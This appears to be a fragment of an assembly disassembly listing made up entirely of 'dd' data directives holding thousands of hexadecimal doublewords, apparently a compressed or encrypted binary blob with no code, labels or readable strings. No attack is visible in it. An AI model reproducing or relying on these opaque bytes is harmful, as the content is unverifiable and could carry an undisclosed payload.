		dd 30C02BA5h, 0A800F8F9h, 0C2FF1D39h, 16FD0h, 8BF7F090h
		dd 65DABB42h, 1C34E705h, 98001BCBh, 931302B5h, 8C7EF0h
		dd 0DA087F7Bh, 0D1E7573h, 0ED634401h, 7E5D17E6h, 6F4E4h
		dd 0ACC31D2Ah, 22B82904h, 0FF6C731Fh, 9F270B41h, 8771D07Eh
		dd 6063F4h, 4D19C6DBh, 509C91F9h, 7AB66F01h, 6114F3CEh
		dd 0E64820h, 0CDA93280h, 0B140271Fh, 1D2BE438h,	77C00BF5h
		dd 0C36C422Ah, 0C05E0E38h, 3C40B65Bh, 0B7A2F7EEh, 358E8F12h
		dd 802CBC49h, 56E18740h, 0B65A0BCDh, 9A008F57h,	33015D32h
		dd 7D19030Eh, 241316DFh, 8F68A901h, 0A1D82971h,	771CE282h
		dd 32AC001Dh, 6269342h,	6D0F0CDBh, 0C0EE861Bh, 6A433933h
		dd 70BC4CA7h, 0EF2CF800h, 45E42556h, 741EC407h,	0DE50100Ah
		dd 17E845Ch, 0BFB999D8h, 0D0D2313Ah, 3890FAA3h,	9AF90D1Dh
		dd 2EF17EC7h, 0C0A01592h, 4C9FFC8Ch, 53003D8Eh,	0CD07EBFAh
		dd 0BB00A494h, 0A8EA3B6Ch, 429397h, 2FA9E9B5h, 25050CA1h
		dd 0F6625200h, 5E6FB171h, 3E96004Bh, 2B68242Eh,	35001569h
		dd 85F61398h, 83A478h, 5C73AC03h, 0FC3BA2B3h, 79004C90h
		dd 0D414AAA5h, 0F87B7Fh, 0CAE609CBh, 438A537Eh,	4E222C02h
		dd 0E04D4737h, 7F18BB94h, 0E6C7656h, 4BDBB5CFh,	0DF1126E0h
		dd 0E0174316h, 0E8003C87h, 8DAAC978h, 74C20477h, 0FDB50FDh
		dd 87156880h, 26E04493h, 4E740891h, 0A3655E14h,	6690C10h
		dd 57E3951h, 7874AE19h,	0A2E9C021h, 0F302373h, 0D8E49CF3h
		dd 0FC8903ECh, 0D4514350h, 0DE41E050h, 9B156300h, 0C26A35FEh
		dd 0EED5006Dh, 5DED2BC0h, 0A5F0F37Fh, 6E859C05h, 8C403D55h
		dd 0C8EA0456h, 0CA102ED9h, 0E3A78190h, 0F4D5EDFAh, 0A9FADC85h
		dd 83918A3Ch, 7A2E9D3h,	0C9900027h, 7DA05855h, 11006735h
		dd 36BAA3B7h, 3A4701Ch,	0F8AEF7FFh, 0F387BEEEh,	83D07385h
		dd 0D3004D2Ah, 0C0FBFA9Ah, 1E3716D5h, 0C31A1701h, 39F295F4h
		dd 0E88F7FB9h, 0CC006007h, 0D403E746h, 7ED90F94h, 0B83D7032h
		dd 2F300097h, 90384319h, 9E005993h, 584E1F45h, 0D1D6A4h
		dd 4B617B81h, 7121E470h, 483CD900h, 0C6282EDh, 0A7A000FBh
		dd 0A1209666h, 0D3006F67h, 4AD236ACh, 1CB9486h,	8BFE5AD9h
		dd 87B8F75Ch, 0D371DDACh, 0F875E580h, 1E3F0423h, 0D060A4D6h
		dd 52DB5780h, 78734E00h, 7D3CAE39h, 0D908C609h,	250020D8h
		dd 0C3D54F10h, 0EABDA9Fh, 0B096611Fh, 8D949EA0h, 87F88A2Bh
		dd 0EED61D03h, 940CEAE1h, 376488h, 0C1BFA10Eh, 0D815E963h
		dd 1425907Fh, 99148050h, 188A074h, 415405A7h, 0E463BE4Bh
		dd 0DE4B4D35h, 0BC112841h, 0C080F9DCh, 9CD5B3EBh, 0DB18DE4Fh
		dd 98C9F6BEh, 6731C1E1h, 8F5FB63Fh, 0E0895640h,	44F36805h
		dd 92E924E2h, 0BEFA431Ch, 0C5568698h, 5FFE9C1Bh, 0E90DA158h
		dd 981C208Eh, 90103E67h, 0F145DD0Eh, 0DE504D00h, 661CD91h
		dd 953F1219h, 0E794C70Ch, 75EE3077h, 4E3CA1A7h,	4EEF626h
		dd 0E6586F07h, 404CC493h, 9718008Fh, 0E8F14CEFh, 76000E02h
		dd 0EB9131BEh, 0D0AB37h, 3CCDAC04h, 650F1AF2h, 72031505h
		dd 9EC07C0Bh, 944A77h, 7FB8B56Dh, 0A858FFA3h, 2076C100h
		dd 59DD8286h, 65F6074Ah, 0B0B08B90h, 1FB81AF4h,	70C2E739h
		dd 8DFA30Eh, 4EB1E104h,	0A1D1C3ECh, 0DC782188h,	0C8DDAC00h
		dd 1297E96h, 445DCF3Eh,	0FC058C77h, 0E27CED0Eh,	921F19B0h
		dd 820C763Ah, 631040FAh, 46B6181Ah, 59C63031h, 0E12AABD4h
		dd 3DD8E05Dh, 61980EBh,	0E3551EA3h, 62480D29h, 91383ADDh
		dd 0FA80F6B8h, 140945A3h, 8ECC448Ch, 0BBA3D600h, 3E4AAF15h
		dd 0F33A01D0h, 3221482Ah, 0C057ECC3h, 0D9C6EF06h, 188B7DEh
		dd 6C5EA2E7h, 0C86B4B69h, 7B6633E4h, 0E799F08h,	316D46C8h
		dd 19D1627h, 0E06888D5h, 1C00F05Bh, 9BC7C328h, 7CC426Fh
		dd 99AC0A14h, 0F3EBE084h, 0ED00D167h, 4BD09348h, 38BC3F3Ah
		dd 0D70AB9C2h, 478C9036h, 980B8AEh, 2D83F4Ah, 2CC600EDh
		dd 52D24732h, 60074C0h,	56FFD335h, 93CAA90h, 3145A084h
		dd 5A952600h, 55008A9Ch, 0D99AD609h, 29B3B9h, 889E0266h
		dd 7AF13B46h, 0E1A2A400h, 7D4D6F81h, 0D5EEC9h, 86298B0Dh
		dd 28155C24h, 128CF4FDh, 525103Ah, 72DDD287h, 3D83A80h
		dd 0DC79009Ah, 27B2884Bh, 0D36314CBh, 0A4C23F30h, 0CD29D800h
		dd 8A016535h, 0F88E657h, 2884A21Fh, 46CFA073h, 74687CEAh
		dd 48948953h, 29444E0Ch, 0E888F280h, 0FAD007Dh,	0B0891053h
		dd 0F5388F70h, 0D682070Ah, 304CE15Ch, 74A522B7h, 8CCE70C8h
		dd 0B7B8DDB2h, 58927937h, 1A15C3h, 6166A0C1h, 0CD848F2h
		dd 0D4AA5C19h, 2111A441h, 9591802Bh, 0BF820D11h, 0E901170Ah
		dd 4840182Dh, 0C76724ACh, 5EF0FF31h, 15B9B82h, 90660458h
		dd 519AB7B6h, 81E38B0h,	823B09CBh, 54051AFDh, 7DC04A36h
		dd 0D8B2C08Ch, 0B50C8F04h, 49A4CEB6h, 79D264CFh, 0E7784090h
		dd 1B124642h, 99A4DBEBh, 800339B9h, 0DCCFD51h, 0A87585B3h
		dd 2AF894h, 0D724B0A1h,	0AE29BBB4h, 0ACDC9A10h,	68CA220Eh
		dd 0B9241890h, 1CFF4D69h, 16DD04Ch, 0FB9BD1DAh,	5869F842h
		dd 527EB780h, 2022B490h, 4EC83F03h, 0D6B9DA1Ch,	8DAC2229h
		dd 8853D8F5h, 28134C05h, 8043AD76h, 0AB89373h, 4AFDB779h
		dd 0D49942F0h, 8817692Ch, 0A3008BF5h, 0D7B8CF09h, 0CE96DCh
		dd 0F232B1FEh, 0DE9293A6h, 223424EBh, 47734484h, 7F58BC00h
		dd 32C33C97h, 0F8190264h, 250BEECFh, 22A7D081h,	3259102Dh
		dd 0D07F01h, 5EA9136Fh,	1B216A53h, 0AA365802h, 0A08615FDh
		dd 0FE8B75A0h, 0A999E6B2h, 610CEA8h, 0EE008143h, 0CB5661FBh
		dd 7A1A8A35h, 21189298h, 720D2355h, 60E0E9F4h, 0A7AC0515h
		dd 5E8E79B8h, 0B1863C84h, 28A6CFABh, 31111530h,	55308h
		dd 0B2892A55h, 0DE9916FAh, 253B4Ch, 9B72551h, 3B0DE340h
		dd 351EDDD3h, 0EBCB420Bh, 0A04118E5h, 4CD021F6h, 0CE02C338h
		dd 0CF95613Ch, 7EA4A49Ch, 62519140h, 0FC000E54h, 1ADA743Fh
		dd 3A78D522h, 813F4315h, 4B85B40Ch, 0CC01AD31h,	13EA328Eh
		dd 189C17FCh, 12F97021h, 0DE26CB82h, 31004DCCh,	0C4E0748Bh
		dd 44D0922Ch, 0A4030F24h, 0F26A57DCh, 9ABFB9FDh, 24311892h
		dd 6108C4Ch, 0F8210C85h, 33C1649h, 0FFD614EAh, 7F801888h
		dd 58D43D39h, 0A007ECC0h, 206A9C26h, 4E873A5Ah,	0CAFBA902h
		dd 808492ACh, 0AEE1D18h, 194F6B6h, 4924BAD1h, 0FCFD1C1Eh
		dd 0AF122906h, 84811D6h, 95C180A5h, 0F6C8ACBAh,	8B964C0Ah
		dd 4D0BA272h, 0CFFD8231h, 9F6868FAh, 0CC5888Dh,	0E9C430FCh
		dd 932182FBh, 332111CCh, 8AA1E180h, 84F30F1Eh, 0E5E97700h
		dd 923F7085h, 137473FCh, 42252482h, 2C175720h, 29E92720h
		dd 93B200E7h, 92A304ADh, 0F0C7D91Ah, 31C00548h,	13D7646Fh
		dd 214CEBF6h, 14A5FDBCh, 0F8649498h, 37C63D1Bh,	0F5E90580h
		dd 3CDBFC43h, 807D883Ch, 0A7AD273Fh, 0EC23AA2Bh, 0FEC91BB8h
		dd 0C8FC99A6h, 7E00160Ch, 0EB22BF05h, 0F43AFA2h, 6FE912B3h
		dd 28A5DCC0h, 6A055074h, 0A1BAABB0h, 0B68D4891h, 630FB210h
		dd 36471311h, 0B6F07855h, 0D5520ABAh, 84A87AA5h, 0D31215h
		dd 62193909h, 42A1865h,	0E8F214BCh, 0F8B7BD00h,	269A380Bh
		dd 854D0Eh, 223A1216h, 0B064DD78h, 0A7891078h, 3B211062h
		dd 10F3220Ah, 0A208F8CAh, 0B73818Fh, 418BA3C8h,	88AF46Ch
		dd 28F612D8h, 1A30709Dh
		dd 133F6636h, 63840031h, 3D918D08h, 6F806D2h, 41C00777h
		dd 0A43A1618h, 0C32C5BC8h, 0FDB1A749h, 14C122F2h, 323C21C3h
		dd 10271354h, 0A8097820h, 5C601F2Ch, 0D0F0AB4h,	2282BE9Ch
		dd 5FC5D9EEh, 354934C4h, 9079145Ch, 0BA9B1A6Ch,	0A41463B1h
		dd 450B6C51h, 14216B37h, 48710C22h, 68303A94h, 0EA2B6ACFh
		dd 0F027489Eh, 0D58F1A88h, 6FFA2080h, 0A69FCECh, 0B0C2C6B9h
		dd 50A49194h, 7907CDF7h, 67FEE55Eh, 0E7391810h,	0D7E002CCh
		dd 3C244FE2h, 0C880F084h, 641FF164h, 97CA5FBDh,	4E88E867h
		dd 9180882Ch, 225EC480h, 189BD0Eh, 0F2F9E274h, 3526866Fh
		dd 5F840838h, 1B5D610Eh, 514D07BDh, 9018BB1h, 44317097h
		dd 41294218h, 2239F5DDh, 2DDF7440h, 7AE602BDh, 3DE7B2FAh
		dd 60478D61h, 0D5450224h, 400A023h, 89B9067Bh, 0C8187FA9h
		dd 14599652h, 0ADE0A81Dh, 6DD60730h, 70ECA995h,	9818F7BCh
		dd 0BA930A00h, 0FDB3AC9Eh, 7A4D072Dh, 62A5A123h, 0DC4ACB99h
		dd 14CF4841h, 0A02C6048h, 9BCCB2E4h, 60E90034h,	8A94DCA2h
		dd 0A505459h, 60B99C72h, 8E01F811h, 0B21C431Bh,	9EB13EDEh
		dd 22691048h, 72EFCDD5h, 901800E8h, 25BC602Dh, 0EEEA00E9h
		dd 5C4FC5A6h, 0DF12209Fh, 5067AD04h, 11887FB2h,	1E2111D3h
		dd 2D0FA510h, 8BC2561Fh, 0B8719E59h, 505CE6C6h,	441A1CF4h
		dd 8D014927h, 0E5521EB5h, 5AE096B7h, 0CE4A0081h, 0AA9A59ABh
		dd 992969B4h, 0E8A99C34h, 80744C80h, 3EF55h, 843D6ED7h
		dd 9CC2079Fh, 7FDBD009h, 8568A501h, 0A88088h, 9B16197Ch
		dd 5F9E0722h, 1830B64Dh, 0B1598624h, 31D47475h,	9FC97CECh
		dd 0EA07F2E9h, 0C9831990h, 8D3A0ABBh, 8201E51h,	6D0036AFh
		dd 9CDB9523h, 0B150052h, 211089DFh, 0A405AC19h,	0EEC9EFD2h
		dd 6C1550D1h, 9EE024h, 0AC8927A3h, 75DADEFh, 50003D70h
		dd 0F26E8DFEh, 94F44321h, 12040E0h, 6206CE17h, 2D7770C6h
		dd 4CC44C18h, 7522DC43h, 248AC48h, 3CBBD86Eh, 0B330C12Eh
		dd 25EC06DDh, 8004947Eh, 2391C70Eh, 77007453h, 0A2AD1D54h
		dd 5EEC34Bh, 35AC1006h,	211491CEh, 29E45020h, 0D900A736h
		dd 0E09D66F3h, 1AB77967h, 90BCA956h, 0CD8DACC0h, 0AB3D5305h
		dd 0D8C09F2Bh, 54F227B3h, 5A58081h, 14FE1D72h, 802C0A54h
		dd 1F7840DCh, 0C0095325h, 10EC3A68h, 4A1CF370h,	7C1848D3h
		dd 74083097h, 48F597CFh, 0F680BBE0h, 89C57B9Eh,	0DC784DEDh
		dd 0B0BD86Bh, 0F88DE410h, 0AD1FA700h, 21147650h, 0C1ED0090h
		dd 799A6F47h, 541E59A3h, 925082Eh, 0D5F0996Ch, 771D5880h
		dd 6DE1A228h, 46B62F17h, 88B9BC0Ah, 0E942CB87h,	54D5E04Eh
		dd 0B01E0256h, 30161F30h, 30AC173Ch, 767FF6E0h,	0FC67B888h
		dd 5CA40248h, 0FF57092h, 719E0CE9h, 0D6544867h,	0F3597703h
		dd 0E7B3A26Fh, 97417Ch,	3DDDC374h, 0C673F1A8h, 0D758C57Ch
		dd 1BA7C498h, 0E1CD088h, 0BAA5F8A4h, 97098F1Fh,	0F078C547h
		dd 0F9174EBFh, 0FDC929C0h, 133191F3h, 8CD3AD66h, 3700B434h
		dd 0C0686CB9h, 2DCF69Bh, 14E3ABADh, 0E4A07328h,	63ACB8DDh
		dd 22E81573h, 0D08240A1h, 0D700516Eh, 1AA69E25h, 1846F0E6h
		dd 0F90C3948h, 2FE2DD8Ch, 846B2316h, 212A3420h,	0CC4C003Bh
		dd 78EBD3EEh, 7E26D1B0h, 9942C8F1h, 0ABB220BAh,	3A5CFD1Ch
		dd 92A284DCh, 6F048C20h, 0C4A7CF05h, 0E889F222h, 5493FF7h
		dd 32142845h, 68201830h, 406C14D8h, 74056FD2h, 587FBFE1h
		dd 452D3381h, 2E9CAD20h, 76689C8h, 193D290Dh, 36392CE8h
		dd 4F02E175h, 6D92EDEh,	32B08715h, 217464CFh, 131DE4B4h
		dd 3982DCh, 69938B86h, 57009D75h, 8FE42B83h, 27D6C233h
		dd 337D72h, 687A0DA2h, 4D002442h, 0EACC2F62h, 0A02650C7h
		dd 6A4084EEh, 96FEF41Ch, 5C032754h, 3900BC24h, 0C4831AFBh
		dd 94368D8h, 0E93123EFh, 5F1E2804h, 56F535C0h, 4873981Ah
		dd 0A60918D3h, 411863Ch, 2A47213h, 45920481h, 0F004C363h
		dd 2732B815h, 0F022A1B4h, 2225F84Eh, 0EC9EB4CCh, 0C06C9618h
		dd 4A985F5Dh, 8535A017h, 168F4860h, 0E78312F1h,	3F2B00B2h
		dd 99137AB6h, 151D349Eh, 0C0EA59B4h, 0C7C43E5h,	5F02A27Bh
		dd 0D4A5A6F9h, 6E7Fh, 0CFF31AE5h, 6F9AF05Fh, 0C6D93C05h
		dd 2821D312h, 5FC063F9h, 83FE038Ah, 409334EDh, 1684CE8Bh
		dd 8D4E1004h, 90A00012h, 19154606h, 684941C0h, 1C9D1A0h
		dd 0B8B4543Fh, 3DE5D955h, 21630A94h, 4680801Fh,	6B927081h
		dd 9AD4E69Dh, 60F09444h, 6524A67Ch, 9E1C03E4h, 0C15D73D4h
		dd 2A5D3380h, 64994452h, 40D1E975h, 0E9B1F21Ah,	0A4F04941h
		dd 1E0E700Eh, 9EEA7AE1h, 22402929h, 2A340025h, 0A12BE3BCh
		dd 97171EB6h, 78203FACh, 0F6196393h, 48B116FDh,	0EF42040h
		dd 0F67DD98Ah, 4EB9DD00h, 436031D7h, 20E101C9h,	6379AAB2h
		dd 0D4F9AEAEh, 5F53B31Ch, 19366C0Ch, 34BD5024h,	0CF18397Eh
		dd 0AE035E02h, 0B7025D99h, 0E0B8AAA1h, 0B8431BC5h, 80916305h
		dd 3F758660h, 5692FFD9h, 0F54042AEh, 4EECE2Eh, 42441200h
		dd 0D45658C6h, 0C2BB00F5h, 38F697A5h, 537DCF74h, 78A3B726h
		dd 4DE3A960h, 63230061h, 690BF540h, 15288E62h, 3892CB53h
		dd 5AB78D44h, 1624249Ah, 20F80BE8h, 94648816h, 0DD70FB31h
		dd 2130CEF6h, 0DF72926h, 4DAF0098h, 0D825E919h,	8287941h
		dd 0BA49EB3Eh, 0A5B713ACh, 0E28E6C88h, 1D0D1374h, 815CD022h
		dd 7E00BDABh, 5336DFDDh, 7D59BF9Fh, 40AC5AD5h, 0E7F99EE0h
		dd 0F0274373h, 680C2215h, 22632582h, 7C441354h,	0F7079D98h
		dd 7B979DF2h, 282A237h,	0C51EBh, 7E35613Ah, 9D981406h
		dd 6A10A900h, 4D2A366Fh, 19C7F1Bh, 7A1A8D65h, 3CD7DECFh
		dd 3D12C4F4h, 8F875CB2h, 0E84B7096h, 0DE006D29h, 7270026Ch
		dd 0EAB1A543h, 1BE32548h, 61E528A0h, 4D01A1DCh,	97B4AB5Dh
		dd 0F2FA488Bh, 98700124h, 3E3C5BC0h, 5C01D844h,	21875A32h
		dd 4ACC421h, 3705E403h,	98D88817h, 0B52891C0h, 0E653A1CEh
		dd 4436009Dh, 503AD996h, 5F02F255h, 3EF88301h, 4E80E48Dh
		dd 930421CFh, 0D0757037h, 0C8174001h, 6D90DB3Ch, 8052BC4Dh
		dd 286CC531h, 0A8BC44D8h, 1A8A960Eh, 7E902011h,	27EDA599h
		dd 28A53C12h, 0F5EC2316h, 180BD392h, 97BF51C4h,	0D416FBD0h
		dd 0A828ADDBh, 0A0360731h, 405BC781h, 0B82017E1h, 65ED8D07h
		dd 62C07ACAh, 67FA2FEh,	0CFF8E799h, 0CE00295Ah,	6A22DA1Fh
		dd 0A04792E4h, 0A442B7h, 7323D9B0h, 16BA7F38h, 1A3C3500h
		dd 39E65E17h, 7088F11Ch, 0F88451CEh, 29800DAEh,	75F9EC16h
		dd 11C7001Fh, 0AF8378F6h, 0D47FAC2Ah, 0EF445B0Ch, 0C3F24017h
		dd 19028008h, 0F9E11000h, 0B14745Ah, 588161C6h,	83162940h
		dd 0CA1FC531h, 0A982E8ADh, 79E10C84h, 2C28AE3Fh, 3D3740C3h
		dd 35100450h, 0C0D16472h, 539EDC28h, 0E7D0EF00h, 0C3DA717Fh
		dd 1E2A307Ch, 0DE5DBF59h, 6FC0D62Eh, 9B684000h,	3B2C6B90h
		dd 91859F3Ah, 43C58CEEh, 1D9C4F84h, 0D4C8B13Bh,	0B3003C80h
		dd 0DF78C94Eh, 6D8F42h,	31CA5C49h, 0CD8BEDAFh, 4F9C2454h
		dd 412F9530h, 7A80AA37h, 67943281h, 1E215650h, 74E01BF3h
		dd 0C3B30378h, 54E6C482h, 0B83E3831h, 0C1BEC529h, 0B9C9DA00h
		dd 0E84E7C2Bh, 724A3700h, 429BC283h, 82DF1986h,	1044B10Eh
		dd 2A33F1h, 0C6A5CCBDh,	0EA515F9Dh, 0E6BA2B01h,	34C82C06h
		dd 2895F841h, 0BB009449h
		dd 0D7400Bh, 0AA5B8927h, 0A1ED5FA8h, 0E0840903h, 2F908D9h
		dd 3330AF0Ch, 1448502Bh, 0A341D131h, 1C2820E0h,	581382EEh
		dd 932F961h, 0F8215168h, 25B66C60h, 0B40A00BFh,	0A8508CEBh
		dd 0E2420DFEh, 480B3208h, 0E19A808Eh, 87E22079h, 4B375980h
		dd 62395B82h, 5035D905h, 0E4228132h, 3C49888h, 32148653h
		dd 22484AD1h, 0FCC800E3h, 14956431h, 3CA05DDDh,	2553AA1Ch
		dd 0B3FA00C8h, 4CFB7B1h, 0C160E739h, 3C710092h,	0D3C83814h
		dd 709284ECh, 9A259500h, 1144F8EAh, 0D03455A3h,	544180F1h
		dd 5B08336Fh, 365DDF01h, 502924F7h, 4F08A423h, 75BA327Dh
		dd 8DA1666Fh, 94F24861h, 6D4300B0h, 407B839Fh, 9BE43102h
		dd 82077D09h, 9F6C10C7h, 3CBB0084h, 397FEA3Fh, 0EE0B41AAh
		dd 80B63E22h, 95B5F70Eh, 0FC5A057Dh, 42A819C5h,	6E4EA3BCh
		dd 0B8A23C86h, 3C4D480Ch, 2C78967h, 0EDE4AC3Dh,	1448F64Eh
		dd 0C4350C38h, 88705453h, 51690CFh, 48D1FC69h, 8ED180DEh
		dd 2D4D5E20h, 2099C928h, 0E72C4E5Ch, 78C8505Eh,	97E81861h
		dd 4F305080h, 505889C0h, 12B0EBh, 9A7BA487h, 21BD0EB1h
		dd 4A0C95B8h, 0C94602A0h, 69B807C2h, 0B0E8ED09h, 554F4401h
		dd 0A9D43900h, 5AD0BF48h, 0A95C9A26h, 0B1105CB8h, 60010557h
		dd 0AD4F99ECh, 0A8349693h, 2044445h, 47696060h,	0EC7589h
		dd 2A459072h, 67A784B3h, 9A63C106h, 1998BDC9h, 6147DA1Ch
		dd 80F84830h, 903F110Eh, 8FC55D36h, 0C420634Fh,	924EEF9Fh
		dd 45BC902Ch, 0C342E42Eh, 0F924BC03h, 80D8A28Bh, 49ADB422h
		dd 4106542Ch, 31346E4Fh, 20E83703h, 0A1858431h,	0FC50DB32h
		dd 68235BB8h, 0C09CD052h, 0E88DB6DEh, 0AC2A0728h, 0AA29DB00h
		dd 58B4D6Eh, 0B3A9152Fh, 0CA12DC30h, 4B140852h,	0F1118681h
		dd 0B0E3E38Ah, 62CDD291h, 4A3B6130h, 0A2646B00h, 0F5EE0072h
		dd 600F3354h, 0B00E5CF4h, 8292B8F6h, 76A4E49Ch,	286932B1h
		dd 0AF00EC44h, 77562D72h, 498A0615h, 9410BC8Fh,	96B58020h
		dd 4884BCAAh, 19609658h, 80E4FB2Fh, 0D4814500h,	0BCDCA82Ch
		dd 0B5BB3CF5h, 3C60CDB2h, 88186C89h, 0F829C738h, 8407F828h
		dd 9AF00BD0h, 8CFA8Dh, 48730403h, 0BD707681h, 19680C48h
		dd 0B8311B6Eh, 4559F892h, 403163F0h, 61FC0154h,	83135482h
		dd 346048ADh, 2E52108h,	33650C60h, 94644B6Eh, 80CC3248h
		dd 22406DF4h, 3D05B082h, 94D428A6h, 659D0047h, 0BC1AAE58h
		dd 3A6BAD8Bh, 443C0488h, 5DC69740h, 0EF03E002h,	87186466h
		dd 93E9C18Eh, 0BA35A8C7h, 0C9A40681h, 815078CBh, 0A1B73211h
		dd 30989528h, 3A115330h, 7C0086D3h, 2C849ABEh, 5BC22Bh
		dd 0C0E40B24h, 0EDC7D5C6h, 0CCCCA0D0h, 1E7363Dh, 0EF9D071Bh
		dd 30E0DF3Ch, 68D37857h, 8CAD1C08h, 96E1E229h, 0AE98204h
		dd 3A86B5C9h, 0CA5E0820h, 810B1C38h, 0D9DE0F36h, 0BCECB831h
		dd 0FDB500A8h, 2C5FB958h, 150B189Bh, 0B078E2C6h, 39DA959Ch
		dd 0D12B3F7h, 0E0C054BBh, 9B143422h, 60297Ah, 0D5139EAh
		dd 3F241DECh, 0A380C0A9h, 487B6D7Fh, 29C9159Ch,	38948BA2h
		dd 0CBB67Ch, 81B9E30Bh,	8F5177FEh, 0C47038F6h, 20063904h
		dd 0D8840E79h, 135A5098h, 0EBEDBDCDh, 0BCEB2304h, 0CE5EC890h
		dd 91F8B954h, 9590F47h,	514BE0C8h, 3C65529Bh, 5C586AE0h
		dd 409429CAh, 1B1EA399h, 664C2300h, 3F9FFE5Bh, 0AD951670h
		dd 0DD5844BFh, 978042C4h, 5A5084D7h, 0C5EB805Fh, 0BCFEFB05h
		dd 7BEFF200h, 39614E08h, 4AC024EDh, 5D4DC000h, 6200AB11h
		dd 5919D1Dh, 3308BFDFh,	0F4589FA2h, 971C280Dh, 0B0416153h
		dd 1F15159Ah, 0A0A42210h, 8262103Eh, 0B661793Ch, 710C801Fh
		dd 5D0335A3h, 80302084h, 7B59DA19h, 0D0C68500h,	8DE00614h
		dd 816C994Fh, 4A615CE2h, 0D9E5D467h, 0C56DA73Bh, 732CCC22h
		dd 16CD010Fh, 0F88D5D30h, 40C2642Dh, 0A309292Ch, 0C13603B0h
		dd 0E9FA771Fh, 4991F3F4h, 763B32h, 0EF162F49h, 2275E4Dh
		dd 0B1A672E0h, 98C43256h, 862E2CA6h, 0C840C83Dh, 739750B1h
		dd 484177A9h, 0EC3EE5F7h, 0C9EF4801h, 62A18C55h, 5E22D8h
		dd 0E66E6D9Eh, 75551201h, 0F2574300h, 9963429Ah, 38F40B5Ah
		dd 0DC192714h, 0B0301595h, 0E6B588E4h, 0D49F008Eh, 314C130Bh
		dd 0F926ADDAh, 8C60E075h, 4FB4190h, 4EAF6109h, 42208964h
		dd 1C10AE2Ch, 0A14A619Ch, 0A91B215Eh, 0A115841h, 957C2600h
		dd 244983A3h, 0DAB5C400h, 5F7D6331h, 38C8693Dh,	2C10DC8Bh
		dd 8851B21Ch, 161AF12Ch, 4F4D1E10h, 0CC89628Bh,	29547359h
		dd 6507B430h, 4A20E425h, 4CDA4Eh, 0F4292E1Eh, 1F7203C6h
		dd 5C6030D6h, 0A0244Ch,	0C2D67068h, 0FB18ECE0h,	0D4433Fh
		dd 8216956Ch, 0B25964Fh, 816BE967h, 0DE324C98h,	2496B878h
		dd 4733DDC0h, 5220002Dh, 31A6C87Bh, 0CB01539Ah,	0BFEB3C9Eh
		dd 51124ECCh, 3A80EC27h, 0FFF9A90h, 8B871F14h, 4FEA4041h
		dd 1C7C4C9Ch, 0F454A826h, 0E211C0A6h, 8030CE1Fh, 8B024491h
		dd 0E491373Dh, 3E34AB00h, 745CC9h, 8C4F9438h, 0F9C29E7Eh
		dd 7D48814Ch, 474588h, 0A98819EDh, 4807701Ah, 74A4BB19h
		dd 37014DF9h, 0AD54C8CAh, 6E431806h, 64215C05h,	405BD941h
		dd 0FFDC621Bh, 6144269Dh, 0B5900C5h, 658F339Bh,	9622BCB2h
		dd 932345Ch, 41F8D9D8h,	0D0A8F144h, 29C6287Dh, 58615DC8h
		dd 7501C61Ah, 63D8AFB7h, 80283904h, 0B83DCDDAh,	3E060022h
		dd 0DD38918Dh, 0A7012045h, 899EFE08h, 7C35C2A6h, 4D6920F2h
		dd 8700EDC8h, 0AE2AE044h, 271E69Eh, 0CBE9B3F4h,	8C44B1B6h
		dd 0D4585C42h, 9EA814C0h, 0A7002BF0h, 1D197131h, 3E1C01DAh
		dd 6C022428h, 0C288118Eh, 5810F842h, 85002E56h,	29F229Dh
		dd 15ABED5h, 0AA99F1BFh, 0F9960BC4h, 6F9C510Eh,	44D00862h
		dd 1F492956h, 4D081E08h, 0EE621D40h, 0F50EF8h, 0D7BEB516h
		dd 8434FFA9h, 3C325498h, 201439F3h, 0A5B9AFB0h,	809A867Ah
		dd 2105A44h, 0EE464CFDh, 0A4494782h, 7E241048h,	0DF2E09AAh
		dd 60A76F77h, 0DE7097B8h, 4A895BCFh, 9C0B28CAh,	5C415439h
		dd 4000BCECh, 0B7667301h, 80E73E0Bh, 9801C737h,	4828442Ch
		dd 90294D07h, 65765F80h, 700085B2h, 0CAA447D5h,	2ED5BC0h
		dd 9DB507B7h, 600999BBh, 4430FF7Ch, 3900434Fh, 66D9E760h
		dd 1DB6AFD2h, 49BE6B2Ah, 1441B71Fh, 0C5B83CFFh,	3CC8991Ch
		dd 0F3CB2740h, 14A2D419h, 52CEE4C1h, 77AC2980h,	38FAD7C3h
		dd 41255A70h, 2924A27Ah, 0B247202Dh, 7C2992E9h,	0AA3FACEEh
		dd 5A00D010h, 0D1BB660Fh, 0F857A6h, 0B3801D20h,	22ED3751h
		dd 0AC549107h, 0C8798825h, 704B24h, 81650A84h, 8C82332Ch
		dd 69BDF907h, 18BB171Dh, 249825B8h, 11685E85h, 0AA6F0023h
		dd 75AF8CEEh, 22050029h, 8A376558h, 60A08096h, 33FBAA1Ch
		dd 72FA0748h, 4FE6EAh, 0F35B7A62h, 0FC6627B1h, 0B53758A0h
		dd 2716A0E3h, 848C4976h, 6BDB00D3h, 8915A9F1h, 0CA7D675Bh
		dd 1ECC3305h, 2001505Ah, 8CBB7DE8h, 2462CBE9h, 25AD8302h
		dd 687A5981h, 74B7E200h, 20EB10EAh, 2E182623h, 0CF5E8B58h
		dd 1C029410h, 94F3F1C0h, 7994B09h, 3B46B78Ah, 53A1C190h
		dd 84623Ch, 3F81EEDFh, 0ED1B36h, 2C3B965Eh, 1C224CF9h
		dd 8D67109Eh, 0E0D69CF3h, 96E618Eh, 43B3BB95h, 0A3374418h
		dd 0F39A2501h, 0FE813452h, 3C500439h, 0FC428AF2h, 304A1052h
		dd 28DEBC40h, 493815h
		dd 0B03F9DA5h, 9EE095D9h, 742C1A40h, 0DAF288E3h, 0C78F3712h
		dd 0B4C54820h, 4F770650h, 291BABB7h, 604B9612h,	994DBC8Ch
		dd 48AC11D0h, 3E302140h, 0AC518A74h, 68230212h,	0EA22E097h
		dd 6DEF0779h, 0C9CCB7CFh, 531C4C46h, 3480EAC6h,	8DD136A3h
		dd 0B1B21DD6h, 32A43B04h, 0BD97C1BCh, 30E05239h, 10144887h
		dd 119A554h, 4D23B302h,	49409551h, 1842424Ch, 0A06727B4h
		dd 0EAF385E6h, 73563E00h, 72AF63CDh, 97FC0037h,	18F49506h
		dd 22509A4Fh, 5344C874h, 0F11C6129h, 0C4EF3F28h, 9F005AE9h
		dd 0A1DBACD3h, 96B28241h, 3C3109ECh, 5BC6CC48h,	0D0B08C2Eh
		dd 5577AF67h, 0C2298840h, 0E8A80097h, 674DD8B4h, 790B2005h
		dd 0B080EE34h, 8A48DF3Ch, 121BA061h, 8B98C137h,	49807469h
		dd 22D0EF83h, 88C0634Ch, 2C38ECDEh, 0AFBEE12h, 0FCCAACC7h
